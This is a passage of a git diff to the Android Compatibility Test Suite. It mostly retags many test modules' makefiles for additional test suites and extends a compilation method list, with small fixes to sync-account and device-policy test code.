Landroid/cts/compilation/CompilationTargetActivity;->m13()I
@@ -13,3 +24,80 @@
Landroid/cts/compilation/CompilationTargetActivity;->m22()I
Landroid/cts/compilation/CompilationTargetActivity;->m23()I
Landroid/cts/compilation/CompilationTargetActivity;->m24()I
+Landroid/cts/compilation/CompilationTargetActivity;->m25()I
+Landroid/cts/compilation/CompilationTargetActivity;->m26()I
+Landroid/cts/compilation/CompilationTargetActivity;->m27()I
+Landroid/cts/compilation/CompilationTargetActivity;->m28()I
+Landroid/cts/compilation/CompilationTargetActivity;->m29()I
+Landroid/cts/compilation/CompilationTargetActivity;->m30()I
+Landroid/cts/compilation/CompilationTargetActivity;->m31()I
+Landroid/cts/compilation/CompilationTargetActivity;->m32()I
+Landroid/cts/compilation/CompilationTargetActivity;->m33()I
+Landroid/cts/compilation/CompilationTargetActivity;->m34()I
+Landroid/cts/compilation/CompilationTargetActivity;->m35()I
+Landroid/cts/compilation/CompilationTargetActivity;->m36()I
+Landroid/cts/compilation/CompilationTargetActivity;->m37()I
+Landroid/cts/compilation/CompilationTargetActivity;->m38()I
+Landroid/cts/compilation/CompilationTargetActivity;->m39()I
+Landroid/cts/compilation/CompilationTargetActivity;->m40()I
+Landroid/cts/compilation/CompilationTargetActivity;->m41()I
+Landroid/cts/compilation/CompilationTargetActivity;->m42()I
+Landroid/cts/compilation/CompilationTargetActivity;->m43()I
+Landroid/cts/compilation/CompilationTargetActivity;->m44()I
+Landroid/cts/compilation/CompilationTargetActivity;->m45()I
+Landroid/cts/compilation/CompilationTargetActivity;->m46()I
+Landroid/cts/compilation/CompilationTargetActivity;->m47()I
+Landroid/cts/compilation/CompilationTargetActivity;->m48()I
+Landroid/cts/compilation/CompilationTargetActivity;->m49()I
+Landroid/cts/compilation/CompilationTargetActivity;->m50()I
+Landroid/cts/compilation/CompilationTargetActivity;->m51()I
+Landroid/cts/compilation/CompilationTargetActivity;->m52()I
+Landroid/cts/compilation/CompilationTargetActivity;->m53()I
+Landroid/cts/compilation/CompilationTargetActivity;->m54()I
+Landroid/cts/compilation/CompilationTargetActivity;->m55()I
+Landroid/cts/compilation/CompilationTargetActivity;->m56()I
+Landroid/cts/compilation/CompilationTargetActivity;->m57()I
+Landroid/cts/compilation/CompilationTargetActivity;->m58()I
+Landroid/cts/compilation/CompilationTargetActivity;->m59()I
+Landroid/cts/compilation/CompilationTargetActivity;->m60()I
+Landroid/cts/compilation/CompilationTargetActivity;->m61()I
+Landroid/cts/compilation/CompilationTargetActivity;->m62()I
+Landroid/cts/compilation/CompilationTargetActivity;->m63()I
+Landroid/cts/compilation/CompilationTargetActivity;->m64()I
+Landroid/cts/compilation/CompilationTargetActivity;->m65()I
+Landroid/cts/compilation/CompilationTargetActivity;->m66()I
+Landroid/cts/compilation/CompilationTargetActivity;->m67()I
+Landroid/cts/compilation/CompilationTargetActivity;->m68()I
+Landroid/cts/compilation/CompilationTargetActivity;->m69()I
+Landroid/cts/compilation/CompilationTargetActivity;->m70()I
+Landroid/cts/compilation/CompilationTargetActivity;->m71()I
+Landroid/cts/compilation/CompilationTargetActivity;->m72()I
+Landroid/cts/compilation/CompilationTargetActivity;->m73()I
+Landroid/cts/compilation/CompilationTargetActivity;->m74()I
+Landroid/cts/compilation/CompilationTargetActivity;->m75()I
+Landroid/cts/compilation/CompilationTargetActivity;->m76()I
+Landroid/cts/compilation/CompilationTargetActivity;->m77()I
+Landroid/cts/compilation/CompilationTargetActivity;->m78()I
+Landroid/cts/compilation/CompilationTargetActivity;->m79()I
+Landroid/cts/compilation/CompilationTargetActivity;->m80()I
+Landroid/cts/compilation/CompilationTargetActivity;->m81()I
+Landroid/cts/compilation/CompilationTargetActivity;->m82()I
+Landroid/cts/compilation/CompilationTargetActivity;->m83()I
+Landroid/cts/compilation/CompilationTargetActivity;->m84()I
+Landroid/cts/compilation/CompilationTargetActivity;->m85()I
+Landroid/cts/compilation/CompilationTargetActivity;->m86()I
+Landroid/cts/compilation/CompilationTargetActivity;->m87()I
+Landroid/cts/compilation/CompilationTargetActivity;->m88()I
+Landroid/cts/compilation/CompilationTargetActivity;->m89()I
+Landroid/cts/compilation/CompilationTargetActivity;->m90()I
+Landroid/cts/compilation/CompilationTargetActivity;->m91()I
+Landroid/cts/compilation/CompilationTargetActivity;->m92()I
+Landroid/cts/compilation/CompilationTargetActivity;->m93()I
+Landroid/cts/compilation/CompilationTargetActivity;->m94()I
+Landroid/cts/compilation/CompilationTargetActivity;->m95()I
+Landroid/cts/compilation/CompilationTargetActivity;->m96()I
+Landroid/cts/compilation/CompilationTargetActivity;->m97()I
+Landroid/cts/compilation/CompilationTargetActivity;->m98()I
+Landroid/cts/compilation/CompilationTargetActivity;->m99()I
+Landroid/cts/compilation/CompilationTargetActivity;->m100()I
+Landroid/cts/compilation/CompilationTargetActivity;->m101()I
\ No newline at end of file
diff --git a/hostsidetests/content/Android.mk b/hostsidetests/content/Android.mk
index 342c8f5..e60f102 100644
--- a/hostsidetests/content/Android.mk
+++ b/hostsidetests/content/Android.mk
@@ -25,7 +25,7 @@
LOCAL_CTS_TEST_PACKAGE := android.content
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/content/test-apps/CtsSyncAccountAccessOtherCertTests/Android.mk b/hostsidetests/content/test-apps/CtsSyncAccountAccessOtherCertTests/Android.mk
index c9d3ec5..116da94 100644
--- a/hostsidetests/content/test-apps/CtsSyncAccountAccessOtherCertTests/Android.mk
+++ b/hostsidetests/content/test-apps/CtsSyncAccountAccessOtherCertTests/Android.mk
@@ -36,7 +36,7 @@
LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey2
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PROGUARD_ENABLED := disabled
diff --git a/hostsidetests/content/test-apps/CtsSyncAccountAccessOtherCertTests/src/com/android/cts/content/CtsSyncAccountAccessOtherCertTestCases.java b/hostsidetests/content/test-apps/CtsSyncAccountAccessOtherCertTests/src/com/android/cts/content/CtsSyncAccountAccessOtherCertTestCases.java
index cb372e7..cb8f163 100644
--- a/hostsidetests/content/test-apps/CtsSyncAccountAccessOtherCertTests/src/com/android/cts/content/CtsSyncAccountAccessOtherCertTestCases.java
+++ b/hostsidetests/content/test-apps/CtsSyncAccountAccessOtherCertTests/src/com/android/cts/content/CtsSyncAccountAccessOtherCertTestCases.java
@@ -39,7 +39,6 @@
import android.support.test.uiautomator.UiDevice;
import android.support.test.uiautomator.UiObject2;
import android.support.test.uiautomator.Until;
-import android.util.Log;
import org.junit.After;
import org.junit.Before;
import org.junit.Rule;
@@ -204,8 +203,9 @@
}
private boolean hasNotificationSupport() {
- return !getContext().getPackageManager()
- .hasSystemFeature(PackageManager.FEATURE_LEANBACK);
+ final PackageManager manager = getContext().getPackageManager();
+ return !manager.hasSystemFeature(PackageManager.FEATURE_LEANBACK)
+ && !manager.hasSystemFeature(PackageManager.FEATURE_EMBEDDED);
}
private void allowSyncAdapterRunInBackgroundAndDataInBackground() throws IOException {
diff --git a/hostsidetests/content/test-apps/CtsSyncAccountAccessSameCertTests/Android.mk b/hostsidetests/content/test-apps/CtsSyncAccountAccessSameCertTests/Android.mk
index c3c7058..0979e96 100644
--- a/hostsidetests/content/test-apps/CtsSyncAccountAccessSameCertTests/Android.mk
+++ b/hostsidetests/content/test-apps/CtsSyncAccountAccessSameCertTests/Android.mk
@@ -30,7 +30,7 @@
LOCAL_PACKAGE_NAME := CtsSyncAccountAccessSameCertTestCases
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PROGUARD_ENABLED := disabled
diff --git a/hostsidetests/content/test-apps/CtsSyncAccountAccessSameCertTests/src/com/android/cts/content/CtsSyncAccountAccessSameCertTestCases.java b/hostsidetests/content/test-apps/CtsSyncAccountAccessSameCertTests/src/com/android/cts/content/CtsSyncAccountAccessSameCertTestCases.java
index 8dddd2d..bfdd072 100644
--- a/hostsidetests/content/test-apps/CtsSyncAccountAccessSameCertTests/src/com/android/cts/content/CtsSyncAccountAccessSameCertTestCases.java
+++ b/hostsidetests/content/test-apps/CtsSyncAccountAccessSameCertTests/src/com/android/cts/content/CtsSyncAccountAccessSameCertTestCases.java
@@ -111,6 +111,7 @@
assertTrue(latch.await(SYNC_TIMEOUT_MILLIS, TimeUnit.MILLISECONDS));
} finally {
accountManager.removeAccount(addedAccount, activity, null, null);
+ activity.finish();
}
}
diff --git a/hostsidetests/content/test-apps/CtsSyncAccountAccessSameCertTests/src/com/android/cts/content/FlakyTestRule.java b/hostsidetests/content/test-apps/CtsSyncAccountAccessSameCertTests/src/com/android/cts/content/FlakyTestRule.java
index 2f6b6ff..e5664f1 100644
--- a/hostsidetests/content/test-apps/CtsSyncAccountAccessSameCertTests/src/com/android/cts/content/FlakyTestRule.java
+++ b/hostsidetests/content/test-apps/CtsSyncAccountAccessSameCertTests/src/com/android/cts/content/FlakyTestRule.java
@@ -36,16 +36,16 @@
return new Statement() {
@Override
public void evaluate() throws Throwable {
- Exception exception = null;
+ Throwable throwable = null;
for (int i = 0; i < mAttemptCount; i++) {
try {
statement.evaluate();
return;
- } catch (Exception e) {
- exception = e;
+ } catch (Throwable t) {
+ throwable = t;
}
}
- throw exception;
+ throw throwable;
};
};
}
diff --git a/hostsidetests/content/test-apps/CtsSyncAccountAccessSameCertTests/src/com/android/cts/content/StubActivity.java b/hostsidetests/content/test-apps/CtsSyncAccountAccessSameCertTests/src/com/android/cts/content/StubActivity.java
index caefd37..0c08ed7 100644
--- a/hostsidetests/content/test-apps/CtsSyncAccountAccessSameCertTests/src/com/android/cts/content/StubActivity.java
+++ b/hostsidetests/content/test-apps/CtsSyncAccountAccessSameCertTests/src/com/android/cts/content/StubActivity.java
@@ -17,6 +17,19 @@
package com.android.cts.content;
import android.app.Activity;
+import android.app.KeyguardManager;
+import android.os.Bundle;
+import android.view.WindowManager;
public class StubActivity extends Activity {
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ getWindow().addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON);
+ setTurnScreenOn(true);
+ KeyguardManager km = getSystemService(KeyguardManager.class);
+ if (km != null) {
+ km.requestDismissKeyguard(this, null);
+ }
+ }
}
diff --git a/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/Android.mk b/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/Android.mk
index 104fdbd..92e8cdf 100644
--- a/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/Android.mk
+++ b/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/Android.mk
@@ -26,7 +26,7 @@
LOCAL_PACKAGE_NAME := CtsSyncInvalidAccountAuthorityTestCases
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PROGUARD_ENABLED := disabled
diff --git a/hostsidetests/content/test-apps/SyncAccountAccessStubs/Android.mk b/hostsidetests/content/test-apps/SyncAccountAccessStubs/Android.mk
index 4c817d9..c0b6fa2 100644
--- a/hostsidetests/content/test-apps/SyncAccountAccessStubs/Android.mk
+++ b/hostsidetests/content/test-apps/SyncAccountAccessStubs/Android.mk
@@ -24,7 +24,7 @@
LOCAL_PACKAGE_NAME := CtsSyncAccountAccessStubs
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PROGUARD_ENABLED := disabled
diff --git a/hostsidetests/cpptools/Android.mk b/hostsidetests/cpptools/Android.mk
index 67acb25..8078290 100644
--- a/hostsidetests/cpptools/Android.mk
+++ b/hostsidetests/cpptools/Android.mk
@@ -28,7 +28,7 @@
LOCAL_CTS_TEST_PACKAGE := android.tests.cpptools
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/cpptools/app/Android.mk b/hostsidetests/cpptools/app/Android.mk
index 4e4e51f..2719cd9 100644
--- a/hostsidetests/cpptools/app/Android.mk
+++ b/hostsidetests/cpptools/app/Android.mk
@@ -27,7 +27,7 @@
LOCAL_PACKAGE_NAME := CtsCppToolsApp
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_SDK_VERSION := current
diff --git a/hostsidetests/devicepolicy/Android.mk b/hostsidetests/devicepolicy/Android.mk
index 1828e2c..9cbd49e 100644
--- a/hostsidetests/devicepolicy/Android.mk
+++ b/hostsidetests/devicepolicy/Android.mk
@@ -27,7 +27,7 @@
LOCAL_CTS_TEST_PACKAGE := android.adminhostside
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/devicepolicy/app/AccountCheck/Auth/Android.mk b/hostsidetests/devicepolicy/app/AccountCheck/Auth/Android.mk
index 6454e46..0873334 100644
--- a/hostsidetests/devicepolicy/app/AccountCheck/Auth/Android.mk
+++ b/hostsidetests/devicepolicy/app/AccountCheck/Auth/Android.mk
@@ -17,7 +17,7 @@
include $(CLEAR_VARS)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsAccountCheckAuthApp
@@ -27,7 +27,14 @@
LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-v4 ctstestrunner ub-uiautomator android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := \
+ android-support-v4 \
+ ctstestrunner \
+ ub-uiautomator \
+ android-support-test \
+ legacy-android-test
+
+LOCAL_JAVA_LIBRARIES := legacy-android-test
LOCAL_SDK_VERSION := test_current
diff --git a/hostsidetests/devicepolicy/app/AccountCheck/NonTestOnlyOwner/Android.mk b/hostsidetests/devicepolicy/app/AccountCheck/NonTestOnlyOwner/Android.mk
index 26e6dca..a8c0dbe 100644
--- a/hostsidetests/devicepolicy/app/AccountCheck/NonTestOnlyOwner/Android.mk
+++ b/hostsidetests/devicepolicy/app/AccountCheck/NonTestOnlyOwner/Android.mk
@@ -17,7 +17,7 @@
include $(CLEAR_VARS)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsAccountCheckNonTestOnlyOwnerApp
diff --git a/hostsidetests/devicepolicy/app/AccountCheck/TestOnlyOwner/Android.mk b/hostsidetests/devicepolicy/app/AccountCheck/TestOnlyOwner/Android.mk
index eeba939..c502fe8 100644
--- a/hostsidetests/devicepolicy/app/AccountCheck/TestOnlyOwner/Android.mk
+++ b/hostsidetests/devicepolicy/app/AccountCheck/TestOnlyOwner/Android.mk
@@ -17,7 +17,7 @@
include $(CLEAR_VARS)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsAccountCheckTestOnlyOwnerApp
diff --git a/hostsidetests/devicepolicy/app/AccountCheck/TestOnlyOwnerUpdate/Android.mk b/hostsidetests/devicepolicy/app/AccountCheck/TestOnlyOwnerUpdate/Android.mk
index a86a98b..c05d9d1 100644
--- a/hostsidetests/devicepolicy/app/AccountCheck/TestOnlyOwnerUpdate/Android.mk
+++ b/hostsidetests/devicepolicy/app/AccountCheck/TestOnlyOwnerUpdate/Android.mk
@@ -17,7 +17,7 @@
include $(CLEAR_VARS)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsAccountCheckTestOnlyOwnerUpdateApp
diff --git a/hostsidetests/devicepolicy/app/AccountCheck/Tester/Android.mk b/hostsidetests/devicepolicy/app/AccountCheck/Tester/Android.mk
index 8036348..d66c6bd 100644
--- a/hostsidetests/devicepolicy/app/AccountCheck/Tester/Android.mk
+++ b/hostsidetests/devicepolicy/app/AccountCheck/Tester/Android.mk
@@ -17,7 +17,7 @@
include $(CLEAR_VARS)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsAccountCheckAuthAppTester
diff --git a/hostsidetests/devicepolicy/app/AccountManagement/Android.mk b/hostsidetests/devicepolicy/app/AccountManagement/Android.mk
index 6e70b01..b7d99bf 100644
--- a/hostsidetests/devicepolicy/app/AccountManagement/Android.mk
+++ b/hostsidetests/devicepolicy/app/AccountManagement/Android.mk
@@ -17,7 +17,7 @@
include $(CLEAR_VARS)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsAccountManagementDevicePolicyApp
@@ -27,7 +27,12 @@
LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-v4 ctstestrunner ub-uiautomator android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := \
+ android-support-v4 \
+ ctstestrunner \
+ ub-uiautomator \
+ android-support-test \
+ legacy-android-test
LOCAL_SDK_VERSION := current
diff --git a/hostsidetests/devicepolicy/app/AccountManagement/src/com/android/cts/devicepolicy/accountmanagement/AccountManagementTest.java b/hostsidetests/devicepolicy/app/AccountManagement/src/com/android/cts/devicepolicy/accountmanagement/AccountManagementTest.java
index f91366a..265555c 100644
--- a/hostsidetests/devicepolicy/app/AccountManagement/src/com/android/cts/devicepolicy/accountmanagement/AccountManagementTest.java
+++ b/hostsidetests/devicepolicy/app/AccountManagement/src/com/android/cts/devicepolicy/accountmanagement/AccountManagementTest.java
@@ -18,7 +18,6 @@
import android.accounts.Account;
import android.accounts.AccountManager;
-import android.accounts.AccountManagerFuture;
import android.accounts.AuthenticatorException;
import android.accounts.OperationCanceledException;
import android.content.Context;
@@ -80,8 +79,14 @@
// Normally the expected result of addAccount() is AccountManager returning
// an intent to start the authenticator activity for adding new accounts.
// But MockAccountAuthenticator returns a new account straightway.
- assertEquals(MockAccountAuthenticator.ACCOUNT_TYPE,
- result.getString(AccountManager.KEY_ACCOUNT_TYPE));
+ String accountType = result.getString(AccountManager.KEY_ACCOUNT_TYPE);
+ String accountName = result.getString(AccountManager.KEY_ACCOUNT_NAME);
+ assertEquals(MockAccountAuthenticator.ACCOUNT_TYPE, accountType);
+
+ // Further verify that getAuthToken is working.
+ Account account = new Account(accountName, accountType);
+ String authToken = mAccountManager.blockingGetAuthToken(account, "authTokenType", false);
+ assertEquals(MockAccountAuthenticator.AUTH_TOKEN, authToken);
}
public void testRemoveAccount_blocked() throws AuthenticatorException,
diff --git a/hostsidetests/devicepolicy/app/AccountManagement/src/com/android/cts/devicepolicy/accountmanagement/MockAccountAuthenticator.java b/hostsidetests/devicepolicy/app/AccountManagement/src/com/android/cts/devicepolicy/accountmanagement/MockAccountAuthenticator.java
index 0ef310b..35246b6 100644
--- a/hostsidetests/devicepolicy/app/AccountManagement/src/com/android/cts/devicepolicy/accountmanagement/MockAccountAuthenticator.java
+++ b/hostsidetests/devicepolicy/app/AccountManagement/src/com/android/cts/devicepolicy/accountmanagement/MockAccountAuthenticator.java
@@ -30,7 +30,7 @@
= "com.android.cts.devicepolicy.accountmanagement.account.name";
static final String ACCOUNT_TYPE
= "com.android.cts.devicepolicy.accountmanagement.account.type";
- private static final String AUTH_TOKEN = "mockAuthToken";
+ static final String AUTH_TOKEN = "mockAuthToken";
private static final String AUTH_TOKEN_LABEL = "mockAuthTokenLabel";
private MockAccountAuthenticator(Context context) {
@@ -42,7 +42,6 @@
result.putString(AccountManager.KEY_ACCOUNT_NAME, ACCOUNT_NAME);
result.putString(AccountManager.KEY_ACCOUNT_TYPE, ACCOUNT_TYPE);
result.putString(AccountManager.KEY_AUTHTOKEN, AUTH_TOKEN);
-
return result;
}
diff --git a/hostsidetests/devicepolicy/app/Android.mk b/hostsidetests/devicepolicy/app/Android.mk
index a22ef3f..d44e88e 100644
--- a/hostsidetests/devicepolicy/app/Android.mk
+++ b/hostsidetests/devicepolicy/app/Android.mk
@@ -17,4 +17,4 @@
include $(CLEAR_VARS)
# Build the test APKs using their own makefiles
-include $(call all-makefiles-under,$(LOCAL_PATH))
+include $(call all-makefiles-under,$(LOCAL_PATH))
\ No newline at end of file
diff --git a/hostsidetests/devicepolicy/app/AppRestrictionsTargetApp/Android.mk b/hostsidetests/devicepolicy/app/AppRestrictionsTargetApp/Android.mk
index 9d785c5..81b63b2 100644
--- a/hostsidetests/devicepolicy/app/AppRestrictionsTargetApp/Android.mk
+++ b/hostsidetests/devicepolicy/app/AppRestrictionsTargetApp/Android.mk
@@ -27,6 +27,6 @@
LOCAL_SDK_VERSION := current
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/Assistant/Android.mk b/hostsidetests/devicepolicy/app/Assistant/Android.mk
index 196f323..86144a2 100644
--- a/hostsidetests/devicepolicy/app/Assistant/Android.mk
+++ b/hostsidetests/devicepolicy/app/Assistant/Android.mk
@@ -25,7 +25,7 @@
LOCAL_SRC_FILES := $(call all-java-files-under, src)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsDevicePolicyAssistApp
@@ -34,6 +34,6 @@
LOCAL_SDK_VERSION := current
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/AutofillApp/Android.mk b/hostsidetests/devicepolicy/app/AutofillApp/Android.mk
index aa9cfa1..522b196 100644
--- a/hostsidetests/devicepolicy/app/AutofillApp/Android.mk
+++ b/hostsidetests/devicepolicy/app/AutofillApp/Android.mk
@@ -25,13 +25,13 @@
LOCAL_SRC_FILES := $(call all-java-files-under, src)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsDevicePolicyAutofillApp
LOCAL_SDK_VERSION := current
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/CertInstaller/Android.mk b/hostsidetests/devicepolicy/app/CertInstaller/Android.mk
index 90c1657..23eb1f7 100644
--- a/hostsidetests/devicepolicy/app/CertInstaller/Android.mk
+++ b/hostsidetests/devicepolicy/app/CertInstaller/Android.mk
@@ -29,6 +29,6 @@
LOCAL_SDK_VERSION := current
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/ContactDirectoryProvider/Android.mk b/hostsidetests/devicepolicy/app/ContactDirectoryProvider/Android.mk
index ef72d61..eec2e12 100644
--- a/hostsidetests/devicepolicy/app/ContactDirectoryProvider/Android.mk
+++ b/hostsidetests/devicepolicy/app/ContactDirectoryProvider/Android.mk
@@ -25,13 +25,13 @@
LOCAL_SRC_FILES := $(call all-java-files-under, src)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsContactDirectoryProvider
LOCAL_SDK_VERSION := current
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/Android.mk b/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/Android.mk
index c24858d..c8872b4 100644
--- a/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/Android.mk
+++ b/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/Android.mk
@@ -39,7 +39,7 @@
LOCAL_SDK_VERSION := test_current
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
@@ -64,7 +64,7 @@
LOCAL_SDK_VERSION := test_current
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_AAPT_FLAGS += --rename-manifest-package com.android.cts.comp2 \
--rename-instrumentation-target-package com.android.cts.comp2
diff --git a/hostsidetests/devicepolicy/app/CustomizationApp/Android.mk b/hostsidetests/devicepolicy/app/CustomizationApp/Android.mk
index e33baab..1e6e2f1 100644
--- a/hostsidetests/devicepolicy/app/CustomizationApp/Android.mk
+++ b/hostsidetests/devicepolicy/app/CustomizationApp/Android.mk
@@ -16,7 +16,7 @@
include $(CLEAR_VARS)
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_PACKAGE_NAME := CtsCustomizationApp
diff --git a/hostsidetests/devicepolicy/app/CustomizationApp/AndroidManifest.xml b/hostsidetests/devicepolicy/app/CustomizationApp/AndroidManifest.xml
index f638adf..4b20829 100644
--- a/hostsidetests/devicepolicy/app/CustomizationApp/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/CustomizationApp/AndroidManifest.xml
@@ -19,6 +19,7 @@
<uses-sdk android:minSdkVersion="24"/>
+ <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.SET_WALLPAPER" />
<application>
diff --git a/hostsidetests/devicepolicy/app/DelegateApp/Android.mk b/hostsidetests/devicepolicy/app/DelegateApp/Android.mk
index 1ff51b9..a46eed8 100644
--- a/hostsidetests/devicepolicy/app/DelegateApp/Android.mk
+++ b/hostsidetests/devicepolicy/app/DelegateApp/Android.mk
@@ -26,11 +26,15 @@
LOCAL_JAVA_LIBRARIES := android.test.runner cts-junit
-LOCAL_STATIC_JAVA_LIBRARIES = android-support-v4 ctstestrunner android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES = \
+ android-support-v4 \
+ ctstestrunner \
+ android-support-test \
+ legacy-android-test
LOCAL_SDK_VERSION := current
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/AppRestrictionsDelegateTest.java b/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/AppRestrictionsDelegateTest.java
index ab37090..55fc792 100644
--- a/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/AppRestrictionsDelegateTest.java
+++ b/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/AppRestrictionsDelegateTest.java
@@ -16,6 +16,7 @@
package com.android.cts.delegate;
import static android.app.admin.DevicePolicyManager.DELEGATION_APP_RESTRICTIONS;
+import static com.android.cts.delegate.DelegateTestUtils.assertExpectException;
import android.app.admin.DevicePolicyManager;
import android.content.BroadcastReceiver;
@@ -86,22 +87,16 @@
public void testCannotAccessApis() {
assertFalse("DelegateApp should not be an app restrictions delegate",
amIAppRestrictionsDelegate());
- try {
- mDpm.setApplicationRestrictions(null, APP_RESTRICTIONS_TARGET_PKG, null);
- fail("Expected SecurityException not thrown");
- } catch (SecurityException expected) {
- MoreAsserts.assertContainsRegex(
- "Caller with uid \\d+ is not a delegate of scope delegation-app-restrictions.",
- expected.getMessage());
- }
- try {
- mDpm.getApplicationRestrictions(null, APP_RESTRICTIONS_TARGET_PKG);
- fail("Expected SecurityException not thrown");
- } catch (SecurityException expected) {
- MoreAsserts.assertContainsRegex(
- "Caller with uid \\d+ is not a delegate of scope delegation-app-restrictions.",
- expected.getMessage());
- }
+
+ assertExpectException(SecurityException.class,
+ "Caller with uid \\d+ is not a delegate of scope", () -> {
+ mDpm.setApplicationRestrictions(null, APP_RESTRICTIONS_TARGET_PKG, null);
+ });
+
+ assertExpectException(SecurityException.class,
+ "Caller with uid \\d+ is not a delegate of scope", () -> {
+ mDpm.getApplicationRestrictions(null, APP_RESTRICTIONS_TARGET_PKG);
+ });
}
public void testCanAccessApis() throws InterruptedException {
diff --git a/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/BlockUninstallDelegateTest.java b/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/BlockUninstallDelegateTest.java
index 65ebd64..f706b85 100644
--- a/hostsidetests/devicepolicy/app/DelegateApp/src/com/android/cts/delegate/BlockUninstallDelegateTest.java
